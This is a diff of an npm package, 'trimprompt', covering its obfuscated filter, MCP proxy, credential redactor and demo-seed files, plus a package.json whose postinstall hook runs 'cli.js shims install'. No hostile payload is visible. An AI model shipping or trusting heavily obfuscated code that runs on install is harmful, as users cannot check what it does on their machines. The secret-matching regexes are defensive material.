_0x4b4594 of _0x32d2a6){const _0x1ebf1c=_0x4b4594[_0x52e2f9(0x1a4)](/(\d+)\s+director/),_0x11472c=_0x4b4594['match'](/(\d+)\s+file/);if(_0x1ebf1c)_0x5cd0f1=parseInt(_0x1ebf1c[0x1]);if(_0x11472c)_0x53ef29=parseInt(_0x11472c[0x1]);const _0x5de894=(_0x4b4594[_0x52e2f9(0x1a4)](/^[│├└\s─]+/)||[''])[0x0][_0x52e2f9(0x19d)];_0x5de894<=0x4&&(_0x407060['push'](_0x4b4594),_0x4ed701++);}return _0x32d2a6['length']>_0x407060[_0x52e2f9(0x19d)]&&_0x407060[_0x52e2f9(0x1a6)](_0x52e2f9(0x1a7)+_0x5cd0f1+_0x52e2f9(0x195)+_0x53ef29+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x407060[_0x52e2f9(0x19c)]('\x0a');}function filterCat(_0x143872){const _0x2a0e30=a0_0x13fcd6,_0x4d893c=_0x143872[_0x2a0e30(0x185)]('\x0a');if(_0x4d893c['length']<=0x64)return _0x143872;const _0xaf1184=[];return _0xaf1184['push'](..._0x4d893c[_0x2a0e30(0x194)](0x0,0x32)),_0xaf1184[_0x2a0e30(0x1a6)](_0x2a0e30(0x197)+(_0x4d893c[_0x2a0e30(0x19d)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0xaf1184[_0x2a0e30(0x1a6)](..._0x4d893c['slice'](-0x1e)),_0xaf1184[_0x2a0e30(0x1a6)]('\x0a('+_0x4d893c['length']+_0x2a0e30(0x19f)),_0xaf1184[_0x2a0e30(0x19c)]('\x0a');}function filterGrep(_0x38dcda){const _0x19fed8=a0_0x13fcd6,_0x1e079a=_0x38dcda[_0x19fed8(0x185)]('\x0a')[_0x19fed8(0x1a5)](_0x5f0fe9=>_0x5f0fe9['trim']()['length']>0x0);if(_0x1e079a[_0x19fed8(0x19d)]===0x0)return _0x19fed8(0x189);if(_0x1e079a[_0x19fed8(0x19d)]<=0x32)return _0x38dcda[_0x19fed8(0x196)]();const _0x472cba={},_0x2f2946=[];for(const _0x1fb1af of _0x1e079a){const _0x492fb0=_0x1fb1af[_0x19fed8(0x187)](':');if(_0x492fb0>0x0&&_0x492fb0<0xc8){const _0x43330c=_0x1fb1af[_0x19fed8(0x1ac)](0x0,_0x492fb0);if(_0x43330c[_0x19fed8(0x18c)]('/')||_0x43330c[_0x19fed8(0x18c)]('\x5c')||_0x43330c[_0x19fed8(0x18c)]('.')){if(!_0x472cba[_0x43330c])_0x472cba[_0x43330c]=[];_0x472cba[_0x43330c][_0x19fed8(0x1a6)](_0x1fb1af['substring'](_0x492fb0+0x1)['trim']());continue;}}_0x2f2946[_0x19fed8(0x1a6)](_0x1fb1af);}const _0x2f689a=[],_0x634b2a=Object[_0x19fed8(0x1a2)](_0x472cba);if(_0x634b2a[_0x19fed8(0x19d)]>0x0){const _0x16ef46=0x14,_0x224daf=_0x634b2a[_0x19fed8(0x194)](0x0,_0x16ef46);for(const _0xc73d53 of _0x224daf){const _0x263db3=_0x472cba[_0xc73d53];if(_0x263db3[_0x19fed8(0x19d)]<=0x3)for(const _0x4e6084 of _0x263db3){_0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+':\x20'+_0x4e6084);}else _0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+':\x20'+_0x263db3[0x0]),_0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+_0x19fed8(0x199)+_0x263db3[_0x19fed8(0x19d)]+_0x19fed8(0x193));}_0x634b2a[_0x19fed8(0x19d)]>_0x16ef46&&_0x2f689a[_0x19fed8(0x1a6)](_0x19fed8(0x18a)+(_0x634b2a[_0x19fed8(0x19d)]-_0x16ef46)+_0x19fed8(0x192));}if(_0x2f2946[_0x19fed8(0x19d)]>0x0){const _0x59ed8d=0x1e;_0x2f689a[_0x19fed8(0x1a6)](..._0x2f2946[_0x19fed8(0x194)](0x0,_0x59ed8d)),_0x2f2946[_0x19fed8(0x19d)]>_0x59ed8d&&_0x2f689a[_0x19fed8(0x1a6)]('...\x20+'+(_0x2f2946[_0x19fed8(0x19d)]-_0x59ed8d)+_0x19fed8(0x18f));}const _0x53e310=_0x1e079a['length'];return _0x2f689a[_0x19fed8(0x1a6)]('\x0a('+_0x53e310+_0x19fed8(0x183)+(_0x634b2a['length']||'?')+'\x20files)'),_0x2f689a[_0x19fed8(0x19c)]('\x0a');}
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2dee27=a0_0x5a8b;(function(_0x47c9b7,_0x5148ac){const _0x2de401=a0_0x5a8b,_0x4cadb6=_0x47c9b7();while(!![]){try{const _0x1ac478=-parseInt(_0x2de401(0x1a3))/0x1*(-parseInt(_0x2de401(0x19b))/0x2)+-parseInt(_0x2de401(0x18f))/0x3*(-parseInt(_0x2de401(0x190))/0x4)+-parseInt(_0x2de401(0x18b))/0x5+parseInt(_0x2de401(0x192))/0x6+-parseInt(_0x2de401(0x1ab))/0x7*(parseInt(_0x2de401(0x189))/0x8)+parseInt(_0x2de401(0x19e))/0x9*(parseInt(_0x2de401(0x1ad))/0xa)+-parseInt(_0x2de401(0x180))/0xb;if(_0x1ac478===_0x5148ac)break;else _0x4cadb6['push'](_0x4cadb6['shift']());}catch(_0x21093a){_0x4cadb6['push'](_0x4cadb6['shift']());}}}(a0_0x9076,0xe91f0));function a0_0x5a8b(_0x13bec1,_0x51b430){const _0x9076ad=a0_0x9076();return a0_0x5a8b=function(_0x5a8b97,_0x31e543){_0x5a8b97=_0x5a8b97-0x17a;let _0x3bf922=_0x9076ad[_0x5a8b97];return _0x3bf922;},a0_0x5a8b(_0x13bec1,_0x51b430);}var __createBinding=this&&this[a0_0x2dee27(0x188)]||(Object[a0_0x2dee27(0x195)]?function(_0x489068,_0xab2bb6,_0x4cc526,_0x238475){const _0x2f7fd2=a0_0x2dee27;if(_0x238475===undefined)_0x238475=_0x4cc526;var _0x1a4ca4=Object['getOwnPropertyDescriptor'](_0xab2bb6,_0x4cc526);(!_0x1a4ca4||(_0x2f7fd2(0x19a)in _0x1a4ca4?!_0xab2bb6[_0x2f7fd2(0x198)]:_0x1a4ca4[_0x2f7fd2(0x1a9)]||_0x1a4ca4[_0x2f7fd2(0x17c)]))&&(_0x1a4ca4={'enumerable':!![],'get':function(){return _0xab2bb6[_0x4cc526];}}),Object[_0x2f7fd2(0x1a1)](_0x489068,_0x238475,_0x1a4ca4);}:function(_0x3e5e8d,_0x4ba5b1,_0xfc2814,_0x351553){if(_0x351553===undefined)_0x351553=_0xfc2814;_0x3e5e8d[_0x351553]=_0x4ba5b1[_0xfc2814];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x3feee6,_0x586463){const _0x55aeca=a0_0x2dee27;Object[_0x55aeca(0x1a1)](_0x3feee6,'default',{'enumerable':!![],'value':_0x586463});}:function(_0xc5383d,_0x142208){const _0x4ff3fc=a0_0x2dee27;_0xc5383d[_0x4ff3fc(0x1aa)]=_0x142208;}),__importStar=this&&this[a0_0x2dee27(0x184)]||(function(){var _0x198985=function(_0x1ab2d3){const _0x25036c=a0_0x5a8b;return _0x198985=Object[_0x25036c(0x1ac)]||function(_0x72c4f0){const _0x149407=_0x25036c;var _0x38513a=[];for(var _0x4cb739 in _0x72c4f0)if(Object[_0x149407(0x1a6)]['hasOwnProperty'][_0x149407(0x1a8)](_0x72c4f0,_0x4cb739))_0x38513a[_0x38513a[_0x149407(0x18a)]]=_0x4cb739;return _0x38513a;},_0x198985(_0x1ab2d3);};return function(_0x12fdb8){const _0x24ae99=a0_0x5a8b;if(_0x12fdb8&&_0x12fdb8[_0x24ae99(0x198)])return _0x12fdb8;var _0x4b88d3={};if(_0x12fdb8!=null){for(var _0x546253=_0x198985(_0x12fdb8),_0x2a26f4=0x0;_0x2a26f4<_0x546253[_0x24ae99(0x18a)];_0x2a26f4++)if(_0x546253[_0x2a26f4]!==_0x24ae99(0x1aa))__createBinding(_0x4b88d3,_0x12fdb8,_0x546253[_0x2a26f4]);}return __setModuleDefault(_0x4b88d3,_0x12fdb8),_0x4b88d3;};}());Object[a0_0x2dee27(0x1a1)](exports,'__esModule',{'value':!![]}),exports[a0_0x2dee27(0x17e)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require('readline')),filters_1=require(a0_0x2dee27(0x1af)),tracker_1=require(a0_0x2dee27(0x18d));function a0_0x9076(){const _0x3f6275=['runMcpProxy','isArray','203291CTqLDK','tracker','line','mcp-tool-call','__importStar','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','stdout','text','__createBinding','24krpqzM','length','7752660acZWlp','type','./tracker','result','3iyvFyI','2584004GtdnXt','jsonrpc','1125864PEJzaX','pipe','inherit','create','content','message','__esModule','error','get','539018PBwNXV','string','logExecution','45OMfZqi','close','mcp\x20tool\x20(id:\x20','defineProperty','exit','3tCnWzc','redaction_enabled','spawn','prototype','createInterface','call','writable','default','1300985fQRPob','getOwnPropertyNames','2878540AUkIsP','parse','./filters','stdin','trim','stringify','write','configurable','getConfig'];a0_0x9076=function(){return _0x3f6275;};return a0_0x9076();}function runMcpProxy(_0x93122b,_0x5efb05){const _0x4b54c8=a0_0x2dee27,_0x560872=(0x0,child_process_1[_0x4b54c8(0x1a5)])(_0x93122b,_0x5efb05,{'stdio':[_0x4b54c8(0x193),_0x4b54c8(0x193),_0x4b54c8(0x194)]});process[_0x4b54c8(0x1b0)][_0x4b54c8(0x193)](_0x560872[_0x4b54c8(0x1b0)]);const _0x3637be=readline[_0x4b54c8(0x1a7)]({'input':_0x560872['stdout'],'terminal':![]});_0x3637be['on'](_0x4b54c8(0x182),_0x2170b9=>{const _0x10de2a=_0x4b54c8;try{const _0xb9077b=JSON[_0x10de2a(0x1ae)](_0x2170b9);if(_0xb9077b&&_0xb9077b[_0x10de2a(0x191)]==='2.0'&&_0xb9077b['id']!==undefined&&_0xb9077b[_0x10de2a(0x18e)]&&Array[_0x10de2a(0x17f)](_0xb9077b[_0x10de2a(0x18e)][_0x10de2a(0x196)])){let _0x2686f1=![];for(const _0x135b89 of _0xb9077b[_0x10de2a(0x18e)][_0x10de2a(0x196)]){if(_0x135b89[_0x10de2a(0x18c)]===_0x10de2a(0x187)&&typeof _0x135b89[_0x10de2a(0x187)]===_0x10de2a(0x19c)&&_0x135b89[_0x10de2a(0x187)][_0x10de2a(0x1b1)]()[_0x10de2a(0x18a)]>0x0){const _0x37a270=_0x135b89[_0x10de2a(0x187)],_0x390107=(0x0,filters_1['compressOutput'])(_0x10de2a(0x183),_0x37a270,'',tracker_1['tracker'][_0x10de2a(0x17d)]()[_0x10de2a(0x1a4)]);tracker_1[_0x10de2a(0x181)][_0x10de2a(0x19d)](_0x10de2a(0x1a0)+_0xb9077b['id']+')',_0x37a270,_0x390107,0x0),_0x135b89[_0x10de2a(0x187)]=_0x390107,_0x2686f1=!![];}}_0x2686f1?process[_0x10de2a(0x186)][_0x10de2a(0x17b)](JSON[_0x10de2a(0x17a)](_0xb9077b)+'\x0a'):process[_0x10de2a(0x186)][_0x10de2a(0x17b)](_0x2170b9+'\x0a');}else process[_0x10de2a(0x186)][_0x10de2a(0x17b)](_0x2170b9+'\x0a');}catch{process[_0x10de2a(0x186)]['write'](_0x2170b9+'\x0a');}}),_0x560872['on'](_0x4b54c8(0x19f),_0x5371be=>{const _0x138a9b=_0x4b54c8;process[_0x138a9b(0x1a2)](_0x5371be||0x0);}),_0x560872['on'](_0x4b54c8(0x199),_0x4ff13d=>{const _0x1d90b5=_0x4b54c8;console[_0x1d90b5(0x199)](_0x1d90b5(0x185)+_0x4ff13d[_0x1d90b5(0x197)]),process[_0x1d90b5(0x1a2)](0x1);});}
1
+ 'use strict';function a0_0x3c00(_0x312b97,_0x3d5837){_0x312b97=_0x312b97-0x138;const _0x51c6cd=a0_0x51c6();let _0x3c0054=_0x51c6cd[_0x312b97];return _0x3c0054;}const a0_0x3fa1d0=a0_0x3c00;(function(_0xff6552,_0x157f38){const _0x1aa638=a0_0x3c00,_0x1ee160=_0xff6552();while(!![]){try{const _0x3205f0=-parseInt(_0x1aa638(0x143))/0x1*(-parseInt(_0x1aa638(0x147))/0x2)+-parseInt(_0x1aa638(0x13a))/0x3+parseInt(_0x1aa638(0x14d))/0x4*(-parseInt(_0x1aa638(0x15e))/0x5)+parseInt(_0x1aa638(0x159))/0x6+-parseInt(_0x1aa638(0x164))/0x7+-parseInt(_0x1aa638(0x13c))/0x8+-parseInt(_0x1aa638(0x161))/0x9*(-parseInt(_0x1aa638(0x15f))/0xa);if(_0x3205f0===_0x157f38)break;else _0x1ee160['push'](_0x1ee160['shift']());}catch(_0x1f00f1){_0x1ee160['push'](_0x1ee160['shift']());}}}(a0_0x51c6,0x571b5));var __createBinding=this&&this[a0_0x3fa1d0(0x166)]||(Object[a0_0x3fa1d0(0x168)]?function(_0xe39ad5,_0x32ae29,_0x356a39,_0x300d56){const _0x29f64d=a0_0x3fa1d0;if(_0x300d56===undefined)_0x300d56=_0x356a39;var _0x5ee0ab=Object['getOwnPropertyDescriptor'](_0x32ae29,_0x356a39);(!_0x5ee0ab||(_0x29f64d(0x162)in _0x5ee0ab?!_0x32ae29[_0x29f64d(0x146)]:_0x5ee0ab['writable']||_0x5ee0ab['configurable']))&&(_0x5ee0ab={'enumerable':!![],'get':function(){return _0x32ae29[_0x356a39];}}),Object[_0x29f64d(0x154)](_0xe39ad5,_0x300d56,_0x5ee0ab);}:function(_0x45a878,_0x5ac06c,_0xbdcc97,_0x45e388){if(_0x45e388===undefined)_0x45e388=_0xbdcc97;_0x45a878[_0x45e388]=_0x5ac06c[_0xbdcc97];}),__setModuleDefault=this&&this[a0_0x3fa1d0(0x13d)]||(Object[a0_0x3fa1d0(0x168)]?function(_0x4436ac,_0x29f24a){const _0x5aa490=a0_0x3fa1d0;Object[_0x5aa490(0x154)](_0x4436ac,_0x5aa490(0x141),{'enumerable':!![],'value':_0x29f24a});}:function(_0x3bedfc,_0x5a0d70){const _0x17852f=a0_0x3fa1d0;_0x3bedfc[_0x17852f(0x141)]=_0x5a0d70;}),__importStar=this&&this[a0_0x3fa1d0(0x142)]||(function(){var _0x411837=function(_0x2de774){const _0x306fd7=a0_0x3c00;return _0x411837=Object[_0x306fd7(0x15d)]||function(_0x586e41){const _0x44a63d=_0x306fd7;var _0x14bf12=[];for(var _0x5f0c5e in _0x586e41)if(Object[_0x44a63d(0x144)]['hasOwnProperty'][_0x44a63d(0x139)](_0x586e41,_0x5f0c5e))_0x14bf12[_0x14bf12[_0x44a63d(0x153)]]=_0x5f0c5e;return _0x14bf12;},_0x411837(_0x2de774);};return function(_0x1e848e){const _0x469222=a0_0x3c00;if(_0x1e848e&&_0x1e848e[_0x469222(0x146)])return _0x1e848e;var _0x538565={};if(_0x1e848e!=null){for(var _0x28fa1c=_0x411837(_0x1e848e),_0x462805=0x0;_0x462805<_0x28fa1c[_0x469222(0x153)];_0x462805++)if(_0x28fa1c[_0x462805]!==_0x469222(0x141))__createBinding(_0x538565,_0x1e848e,_0x28fa1c[_0x462805]);}return __setModuleDefault(_0x538565,_0x1e848e),_0x538565;};}());Object[a0_0x3fa1d0(0x154)](exports,a0_0x3fa1d0(0x146),{'value':!![]}),exports[a0_0x3fa1d0(0x13f)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x3fa1d0(0x14f))),filters_1=require(a0_0x3fa1d0(0x14c)),tracker_1=require(a0_0x3fa1d0(0x13b));function runMcpProxy(_0x1144b2,_0x502788){const _0xd7efc=a0_0x3fa1d0,_0x5ab233=(0x0,child_process_1['spawn'])(_0x1144b2,_0x502788,{'stdio':[_0xd7efc(0x140),_0xd7efc(0x140),'inherit']});process[_0xd7efc(0x160)][_0xd7efc(0x140)](_0x5ab233[_0xd7efc(0x160)]);const _0x1bcfa3=readline['createInterface']({'input':_0x5ab233['stdout'],'terminal':![]});_0x1bcfa3['on']('line',_0x576a36=>{const _0x40e279=_0xd7efc;try{const _0x3798e6=JSON[_0x40e279(0x138)](_0x576a36);if(_0x3798e6&&_0x3798e6[_0x40e279(0x157)]===_0x40e279(0x14a)&&_0x3798e6['id']!==undefined&&_0x3798e6[_0x40e279(0x15a)]&&Array['isArray'](_0x3798e6[_0x40e279(0x15a)][_0x40e279(0x155)])){let _0x30d1be=![];for(const _0x1eab43 of _0x3798e6[_0x40e279(0x15a)]['content']){if(_0x1eab43[_0x40e279(0x152)]===_0x40e279(0x15c)&&typeof _0x1eab43[_0x40e279(0x15c)]===_0x40e279(0x167)&&_0x1eab43['text']['trim']()['length']>0x0){const _0x1c1142=_0x1eab43[_0x40e279(0x15c)],_0x150abb=(0x0,filters_1[_0x40e279(0x163)])('mcp-tool-call',_0x1c1142,'',tracker_1[_0x40e279(0x13e)][_0x40e279(0x151)]()[_0x40e279(0x150)]);tracker_1['tracker'][_0x40e279(0x14e)](_0x40e279(0x149)+_0x3798e6['id']+')',_0x1c1142,_0x150abb,0x0),_0x1eab43[_0x40e279(0x15c)]=_0x150abb,_0x30d1be=!![];}}_0x30d1be?process[_0x40e279(0x14b)][_0x40e279(0x156)](JSON['stringify'](_0x3798e6)+'\x0a'):process['stdout'][_0x40e279(0x156)](_0x576a36+'\x0a');}else process[_0x40e279(0x14b)][_0x40e279(0x156)](_0x576a36+'\x0a');}catch{process[_0x40e279(0x14b)][_0x40e279(0x156)](_0x576a36+'\x0a');}}),_0x5ab233['on'](_0xd7efc(0x165),_0x3c2a3d=>{const _0x23fa55=_0xd7efc;process[_0x23fa55(0x158)](_0x3c2a3d||0x0);}),_0x5ab233['on'](_0xd7efc(0x148),_0x2dd1b4=>{const _0xcaec69=_0xd7efc;console[_0xcaec69(0x148)](_0xcaec69(0x15b)+_0x2dd1b4[_0xcaec69(0x145)]),process[_0xcaec69(0x158)](0x1);});}function a0_0x51c6(){const _0x5871d0=['compressOutput','3869327KXWuow','close','__createBinding','string','create','parse','call','855927ikZagO','./tracker','4759848nCstfO','__setModuleDefault','tracker','runMcpProxy','pipe','default','__importStar','684019GJZvHQ','prototype','message','__esModule','2OEVdwp','error','mcp\x20tool\x20(id:\x20','2.0','stdout','./filters','1478248amytyG','logExecution','readline','redaction_enabled','getConfig','type','length','defineProperty','content','write','jsonrpc','exit','2354394cNsTsB','result','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','text','getOwnPropertyNames','5hdDTaH','10829840KHxRyC','stdin','9AHDEbK','get'];a0_0x51c6=function(){return _0x5871d0;};return a0_0x51c6();}
package/package.json CHANGED
@@ -1,11 +1,19 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.8",
3
+ "version": "1.0.10",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
7
7
  "trim": "cli.js"
8
8
  },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/trimprompt/trimprompt.git"
12
+ },
13
+ "bugs": {
14
+ "url": "https://github.com/trimprompt/trimprompt/issues"
15
+ },
16
+ "homepage": "https://github.com/trimprompt/trimprompt#readme",
9
17
  "scripts": {
10
18
  "postinstall": "node cli.js shims install || true"
11
19
  },
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1ed6e5=a0_0x5364;(function(_0x29f216,_0x59d75e){const _0x577fe4=a0_0x5364,_0x222c9d=_0x29f216();while(!![]){try{const _0x16be55=-parseInt(_0x577fe4(0x11b))/0x1+parseInt(_0x577fe4(0x12e))/0x2*(parseInt(_0x577fe4(0x12d))/0x3)+parseInt(_0x577fe4(0x11e))/0x4*(-parseInt(_0x577fe4(0x128))/0x5)+-parseInt(_0x577fe4(0x121))/0x6*(-parseInt(_0x577fe4(0x12f))/0x7)+-parseInt(_0x577fe4(0x12a))/0x8*(parseInt(_0x577fe4(0x11f))/0x9)+-parseInt(_0x577fe4(0x125))/0xa+parseInt(_0x577fe4(0x130))/0xb*(parseInt(_0x577fe4(0x12c))/0xc);if(_0x16be55===_0x59d75e)break;else _0x222c9d['push'](_0x222c9d['shift']());}catch(_0x2ef2b8){_0x222c9d['push'](_0x222c9d['shift']());}}}(a0_0x210b,0xbb9ca));Object[a0_0x1ed6e5(0x123)](exports,a0_0x1ed6e5(0x120),{'value':!![]}),exports['redactor']=exports[a0_0x1ed6e5(0x124)]=void 0x0;class Redactor{[a0_0x1ed6e5(0x11d)]=[];constructor(){this['loadDefaultRules']();}['loadDefaultRules'](){const _0x596b68=a0_0x1ed6e5;this[_0x596b68(0x11d)]=[{'name':_0x596b68(0x129),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x596b68(0x11c)},{'name':_0x596b68(0x131),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x596b68(0x127)},{'name':'IPv4\x20Address','regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]'},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x596b68(0x12b)}];}[a0_0x1ed6e5(0x132)](_0x2a24f8){const _0x3185b5=a0_0x1ed6e5;let _0x43cc59=_0x2a24f8;for(const _0x226871 of this[_0x3185b5(0x11d)]){_0x43cc59=_0x43cc59[_0x3185b5(0x122)](_0x226871[_0x3185b5(0x126)],_0x226871['replacement']);}return _0x43cc59;}}exports[a0_0x1ed6e5(0x124)]=Redactor,exports['redactor']=new Redactor();function a0_0x5364(_0x2e8353,_0x3f27cc){const _0x210bc1=a0_0x210b();return a0_0x5364=function(_0x5364e9,_0x5b72a6){_0x5364e9=_0x5364e9-0x11b;let _0x2d73db=_0x210bc1[_0x5364e9];return _0x2d73db;},a0_0x5364(_0x2e8353,_0x3f27cc);}function a0_0x210b(){const _0x40ab8f=['1001296DhqtDP','1737rtQWUK','__esModule','9474gOEYkY','replace','defineProperty','Redactor','3175580mAgTEy','regex','$1:\x20[REDACTED_CREDENTIAL]','15EoSqyH','Database\x20Connection\x20String','35320FsaVyb','[REDACTED_EMAIL]','172644lGOROD','3sjkWQA','357362LxoDfg','2653wdHQJw','1661qOaWIJ','API\x20Key\x20or\x20Password','redact','260476UMthlm','[REDACTED_DB_CONNECTION_STRING]','rules'];a0_0x210b=function(){return _0x40ab8f;};return a0_0x210b();}
1
+ 'use strict';const a0_0x1e7e61=a0_0x2734;(function(_0x5dedda,_0x314385){const _0x2a3fae=a0_0x2734,_0x2d754f=_0x5dedda();while(!![]){try{const _0x40dcbc=-parseInt(_0x2a3fae(0x161))/0x1*(parseInt(_0x2a3fae(0x156))/0x2)+parseInt(_0x2a3fae(0x157))/0x3*(parseInt(_0x2a3fae(0x166))/0x4)+-parseInt(_0x2a3fae(0x155))/0x5+-parseInt(_0x2a3fae(0x151))/0x6*(-parseInt(_0x2a3fae(0x15f))/0x7)+-parseInt(_0x2a3fae(0x154))/0x8+-parseInt(_0x2a3fae(0x150))/0x9+parseInt(_0x2a3fae(0x14f))/0xa*(parseInt(_0x2a3fae(0x15b))/0xb);if(_0x40dcbc===_0x314385)break;else _0x2d754f['push'](_0x2d754f['shift']());}catch(_0x540389){_0x2d754f['push'](_0x2d754f['shift']());}}}(a0_0x2b47,0x471bd));function a0_0x2b47(){const _0x554b17=['33Makkqf','redactor','Redactor','IPv4\x20Address','3576174accYTe','rules','13XPTqvr','__esModule','Email\x20Address','[REDACTED_IP]','loadDefaultRules','84cDtgMu','$1:\x20[REDACTED_CREDENTIAL]','replacement','1965610aMfRdL','1819521gdbteQ','6XwbvZg','Database\x20Connection\x20String','API\x20Key\x20or\x20Password','1927032FpgJXP','1827970GkWiHu','10954qgaMbq','10077IafDmq','redact','defineProperty','regex'];a0_0x2b47=function(){return _0x554b17;};return a0_0x2b47();}function a0_0x2734(_0x56a0f8,_0x1249e6){_0x56a0f8=_0x56a0f8-0x14f;const _0x2b470b=a0_0x2b47();let _0x273408=_0x2b470b[_0x56a0f8];return _0x273408;}Object[a0_0x1e7e61(0x159)](exports,a0_0x1e7e61(0x162),{'value':!![]}),exports[a0_0x1e7e61(0x15c)]=exports[a0_0x1e7e61(0x15d)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x3ba7f7=a0_0x1e7e61;this[_0x3ba7f7(0x165)]();}[a0_0x1e7e61(0x165)](){const _0x57b115=a0_0x1e7e61;this[_0x57b115(0x160)]=[{'name':_0x57b115(0x152),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x57b115(0x153),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x57b115(0x167)},{'name':_0x57b115(0x15e),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x57b115(0x164)},{'name':_0x57b115(0x163),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':'[REDACTED_EMAIL]'}];}[a0_0x1e7e61(0x158)](_0x54fb6e){const _0x24ae41=a0_0x1e7e61;let _0x29b1df=_0x54fb6e;for(const _0x5cc811 of this[_0x24ae41(0x160)]){_0x29b1df=_0x29b1df['replace'](_0x5cc811[_0x24ae41(0x15a)],_0x5cc811[_0x24ae41(0x168)]);}return _0x29b1df;}}exports[a0_0x1e7e61(0x15d)]=Redactor,exports[a0_0x1e7e61(0x15c)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2bedc9=a0_0x5a7e;(function(_0xb16a09,_0x457e6c){const _0x5d30a0=a0_0x5a7e,_0x3216d6=_0xb16a09();while(!![]){try{const _0x12711f=parseInt(_0x5d30a0(0x92))/0x1+-parseInt(_0x5d30a0(0xa6))/0x2*(parseInt(_0x5d30a0(0xa0))/0x3)+parseInt(_0x5d30a0(0x91))/0x4+-parseInt(_0x5d30a0(0x98))/0x5*(-parseInt(_0x5d30a0(0xa2))/0x6)+-parseInt(_0x5d30a0(0x97))/0x7*(-parseInt(_0x5d30a0(0x82))/0x8)+-parseInt(_0x5d30a0(0x8f))/0x9*(parseInt(_0x5d30a0(0x86))/0xa)+parseInt(_0x5d30a0(0x96))/0xb*(-parseInt(_0x5d30a0(0x9d))/0xc);if(_0x12711f===_0x457e6c)break;else _0x3216d6['push'](_0x3216d6['shift']());}catch(_0x57c432){_0x3216d6['push'](_0x3216d6['shift']());}}}(a0_0x1c78,0xd5899));Object['defineProperty'](exports,a0_0x2bedc9(0x8e),{'value':!![]});function a0_0x5a7e(_0x1ae992,_0x39226c){const _0x1c78a2=a0_0x1c78();return a0_0x5a7e=function(_0x5a7e15,_0x1101e1){_0x5a7e15=_0x5a7e15-0x81;let _0x30a186=_0x1c78a2[_0x5a7e15];return _0x30a186;},a0_0x5a7e(_0x1ae992,_0x39226c);}const tracker_1=require(a0_0x2bedc9(0x90));function a0_0x1c78(){const _0x47da24=['13130793WyYFWV','./tracker','3863732LOniIa','708407fKwuUP','[INFO]\x20Building\x20modules...\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','test_db.py\x20PASS\x0a','7468681eNzyvA','8981ZEwjKs','5jzVbPL','npm\x20run\x20build','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Compilation\x20Output:\x0a','12yANFSr','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Optimizing\x20assets...\x0a','3cmzWii','claude-3-opus','5934174NKttJz','Test\x20suite\x20run\x20starting...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','gemini-1-5-pro','2224218LsVGBH','added\x201420\x20packages\x20in\x2014s\x0a','Successfully\x20built\x20image.','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','9112ysSEDO','tracker','test_api.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','10fJcxWJ','logExecution','TRIMPROMPT_MODEL','log','All\x20303\x20tests\x20passed\x20in\x204.22s.','env','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','repeat','__esModule'];a0_0x1c78=function(){return _0x47da24;};return 